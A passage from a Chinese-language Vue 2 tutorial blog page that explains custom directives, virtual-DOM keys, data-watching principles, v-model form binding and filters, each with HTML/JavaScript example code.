		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

# 自定义指令

定义语法：

  1. 局部指令：

    new Vue({
	directives:{指令名:配置对象}  
    // 或      
    directives{指令名:回调函数}
})
    1
    2
    3
    4
    5

  2. 全局指令：

    Vue.directive(指令名,配置对象) 
// 或
Vue.directive(指令名,回调函数)
    1
    2
    3

    directives参数：

    • 第一个参数：指令所在的节点

    • 第二个参数：指令所在的节点的内容，包括指令名称，节点绑定的 Vue 的 data 值

配置对象中常用的 3 个回调：

  • bind：指令与元素成功绑定时调用。

  • inserted：指令所在元素被插入页面时调用

  • update：指令所在模板结构被重新解析时调用

简写和详细写区别：

  • 简写，只需写函数，内部只能实现 bind 和 update 回调函数

  • 详细写，可灵活写三个回调函数

备注：

  • 指令定义时不加 v-，但使用时要加 v-

  • 指令名如果是多个单词，要使用 kebab-case 命名方式，不要用 camelCase 命名

  • directives 的 this 是指向 Window，不为 Vue 所管理

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>自定义指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>{{name}}</h2>
			<h2>当前的n值是：<span v-text="n"></span> </h2>
			<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
			<button @click="n++">点我n+1</button>
			<hr/>
			<input type="text" v-fbind:value="n">
		</div>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false

		// 定义全局指令
		/* Vue.directive('fbind',{
			// 指令与元素成功绑定时（一上来）
			bind(element,binding){
				element.value = binding.value
			},
			// 指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			// 指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		}) */

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				n:1
			},
			directives:{
				// big 函数何时会被调用？1. 指令与元素成功绑定时（一上来）。2. 指令所在的模板被重新解析时。
				big(element,binding){
					console.log('big',this) // 注意此处的 this 是 Window
					element.innerText = binding.value * 10
				},
				fbind:{
					// 指令与元素成功绑定时（一上来）
					bind(element,binding){
						element.value = binding.value
					},
					// 指令所在元素被插入页面时
					inserted(element,binding){
						element.focus()
					},
					// 指令所在的模板被重新解析时
					update(element,binding){
						element.value = binding.value
					}
				}
			}
		})
		
	</script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

# key 的内部原理

react、vue 中的 key 有什么作用？

虚拟 DOM 中 key 的作用：key 是虚拟 DOM 对象的标识，当数据发生变化时，Vue 会根据【新数据】生成【新的虚拟 DOM】, 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下：

  • 旧虚拟 DOM 中找到了与新虚拟 DOM 相同的 key：

    • 若虚拟 DOM 中内容没变, 直接使用之前的真实 DOM
    • 若虚拟 DOM 中内容变了, 则生成新的真实 DOM，随后替换掉页面中之前的真实 DOM

  • 旧虚拟 DOM 中未找到与新虚拟 DOM 相同的 key，创建新的真实 DOM，随后渲染到到页面

用 index 作为 key 可能会引发的问题：

  • 破坏顺序操作：会产生没有必要的真实 DOM 更新，导致界面效果没问题，但效率低
  • 如果结构中还包含输入类的 DOM：会产生错误 DOM 更新，导致界面有问题

开发中如何选择 key?

  • 最好使用每条数据的唯一标识作为 key, 比如 id、手机号、身份证号、学号等唯一值
  • 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，使用 index 作为 key 是没有问题的

# Vue 监视数据的原理

Vue 监视数据的原理：

  • Vue 会监视 data 中所有层次的数据
  • 如何监测对象中的数据？通过 setter 实现监视，且要在 new Vue 时就传入要监测的数据
  • 对象中后追加的属性，Vue 默认不做响应式处理
  • 如需给后添加的属性做响应式，请使用如下 API：
Vue.set(target，propertyName/index，value) // 或 
vm.$set(target，propertyName/index，value)
1
2

  • 如何监测数组中的数据？通过包裹数组更新元素的方法实现，本质就是做了两件事：

    • 调用原生对应的方法对数组进行更新

    • 重新解析模板，进而更新页面

  • 如果通过下标修改数组的值，虽然数组的值变了，但是页面的值并没有变，在 Vue 修改数组中的某个元素一定要用如下方法：

    • 使用这些API：push()、pop()、shift()、unshift()、splice()、sort()、reverse()
    • Vue.set() 或 vm.$set()

特别注意：Vue.set() 和 vm.$set() 不能给 vm 或 vm 的根数据对象添加属性。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>总结数据监视</title>
		<style>
			button{
				margin-top: 10px;
			}
		</style>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学生信息</h1>
			<button @click="student.age++">年龄+1岁</button> <br/>
			<button @click="addSex">添加性别属性，默认值：男</button> <br/>
			<button @click="student.sex = '未知' ">修改性别</button> <br/>
			<button @click="addFriend">在列表首位添加一个朋友</button> <br/>
			<button @click="updateFirstFriendName">修改第一个朋友的名字为：张三</button> <br/>
			<button @click="addHobby">添加一个爱好</button> <br/>
			<button @click="updateHobby">修改第一个爱好为：开车</button> <br/>
			<button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
			<h3>姓名：{{student.name}}</h3>
			<h3>年龄：{{student.age}}</h3>
			<h3 v-if="student.sex">性别：{{student.sex}}</h3>
			<h3>爱好：</h3>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{{h}}
				</li>
			</ul>
			<h3>朋友们：</h3>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				student:{
					name:'tom',
					age:18,
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				},
				addFriend(){
					this.student.friends.unshift({name:'jack',age:70})
				},
				updateFirstFriendName(){
					this.student.friends[0].name = '张三'
				},
				addHobby(){
					this.student.hobby.push('学习')
				},
				updateHobby(){
					// this.student.hobby.splice(0,1,'开车')
					// Vue.set(this.student.hobby,0,'开车')
					this.$set(this.student.hobby,0,'开车')
				},
				removeSmoke(){
					this.student.hobby = this.student.hobby.filter((h)=>{
						return h !== '抽烟'
					})
				}
			}
		})
	</script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

# v-model 使用

收集表单数据：

  • 若：<input type="text"/>，则 v-model 收集的是 value 值，用户输入的就是 value 值
  • 若：<input type="radio"/>，则 v-model 收集的是 value 值，且要给标签配置 value 值
  • 若：<input type="checkbox"/>，没有配置 input 的 value 属性，那么收集的就是 checked（勾选 or 未勾选，是布尔值）

配置 input 的 value 属性:

  • v-model 的初始值是非数组，那么收集的就是 checked（勾选 or 未勾选，是布尔值）
  • v-model 的初始值是数组，那么收集的的就是 value 组成的数组

v-model 的三个修饰符：

  • lazy：失去焦点再收集数据

  • number：输入字符串转为有效的数字

  • trim：输入首尾空格过滤

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>收集表单数据</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<form @submit.prevent="demo">
				账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/>
				密码：<input type="password" v-model="userInfo.password"> <br/><br/>
				年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/>
				性别：
				男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
				女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
				爱好：
				学习<input type="checkbox" v-model="userInfo.hobby" value="study">
				打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
				吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
				<br/><br/>
				所属校区
				<select v-model="userInfo.city">
					<option value="">请选择校区</option>
					<option value="beijing">北京</option>
					<option value="shanghai">上海</option>
					<option value="shenzhen">深圳</option>
					<option value="wuhan">武汉</option>
				</select>
				<br/><br/>
				其他信息：
				<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
				<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.youngkbt.com">《用户协议》</a>
				<button>提交</button>
			</form>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				userInfo:{
					account:'',
					password:'',
					age:18,
					sex:'female',
					hobby:[],
					city:'beijing',
					other:'',
					agree:''
				}
			},
			methods: {
				demo(){
					console.log(JSON.stringify(this.userInfo))
				}
			}
		})
	</script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64

# 过滤器

定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。

语法：

  • 注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
  • 使用过滤器：{{ xxx | 过滤器名 }} 或 v-bind:属性 = "xxx | 过滤器名"

过滤器也可以接收额外参数、多个过滤器也可以串联。

过滤器并没有改变原本的数据, 是产生新的对应的数据。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>过滤器</title>
		<script type="text/javascript" src="../js/vue.js"></script>
		<script type="text/javascript" src="../js/dayjs.min.js"></script>
	</head>
	<body>
		<!-- 
			
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>显示格式化后的时间</h2>
			<!-- 计算属性实现 -->
			<h3>现在是：{{fmtTime}}</h3>
			<!-- methods实现 -->
			<h3>现在是：{{getFmtTime()}}</h3>
			<!-- 过滤器实现 -->
			<h3>现在是：{{time | timeFormater}}</h3>
			<!-- 过滤器实现（传参） -->
			<h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
			<h3 :x="msg | mySlice">尚硅谷</h3>
		</div>

		<div id="root2">
			<h2>{{msg | mySlice}}</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		// 全局过滤器
		Vue.filter('mySlice',function(value){
			return value.slice(0,4)
		})
		
		new Vue({
			el:'#root',
			data:{
				time:1621561377603, // 时间戳
				msg:'你好，尚硅谷'
			},
			computed: {
				fmtTime(){
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			methods: {
				getFmtTime(){
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			// 局部过滤器
			filters:{
				timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
					// console.log('@',value)
					return dayjs(value).format(str)
				}
			}
		})

		new Vue({
			el:'#root2',
			data:{
				msg:'hello,youngkbt!'
			}
		})
	</script>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
编辑此页 (opens new window)
#Vue
更新时间: 2025/04/06, 01:04:59
React - 父子传值与循环key
Vue2 - 生命周期

← Vue2 - 生命周期→

最近更新
01
技术随笔 - Element Plus 修改包名 原创
11-02
02
Reactor - 扩展性
11-02
03
Reactor - 最佳实践
11-02
更多文章>
Theme by Vdoing | Copyright © 2021-2025 Somnus Haoyuan | MIT License
京公网安备 11010802034042号 京ICP备2025120692号-1